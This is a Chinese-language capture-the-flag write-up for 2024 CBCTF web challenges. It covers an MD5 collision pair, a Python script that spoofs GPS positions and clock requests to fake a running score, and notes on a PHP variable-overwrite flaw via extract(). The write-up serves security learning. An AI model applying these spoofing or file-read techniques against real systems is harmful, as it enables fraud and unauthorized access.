2024 CBCTF WriteUps
输入“/”快速插入内容
2024 CBCTF WriteUps
2024 CBCTF WriteUps
用户3301用户33012025年1月21日修改
Web
SignIn
访问他的主页，找到第一篇推文即可找到符合要求的明文
代码块
md5("TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak")
=
md5("TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak")
Hack the SunRun
测试接口发现每秒向/api/getposition发送自己经纬度，同时每秒向/api/clock发送请求，即时间加一秒
getposition可以返回和上一次请求间移动的距离，经过简单测试后写脚本控制自己的成绩符合要求即可
代码块
import requests
from urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.simplefilter('ignore', InsecureRequestWarning)
def run_222m():
ll = {"latitude": 1.3064432, "longitude": 103.8506224}
requests.post("https://172.22.57.214:6333/api/getposition",json=ll,verify=False)
ll_1 = {"latitude": 1.3054432, "longitude": 103.8506224}
requests.post("https://172.22.57.214:6333/api/getposition",json=ll_1,verify=False)
def time_add_1s():
requests.get("https://172.22.57.214:6333/api/clock",verify=False)
def getdistance():
print(requests.get("https://172.22.57.214:6333/api/getdistance",verify=False).text)
def end():
print(requests.get("https://172.22.57.214:6333/end",verify=False).text)
# run 2109m
for i in range(10):
run_222m()
# in 324s
for i in range(324):
time_add_1s()
end()
写脚本方便测试经纬度和米数的关系，当然直接bp一步到位也可以。
Notes 1
读文件，修改file参数就会从报错中得到相对目录为/var/www/html
读notes_read.php发现存在变量覆盖，可修改notes_directory变量
代码块
$notes_directory = '/var/www/html';
extract($_REQUEST);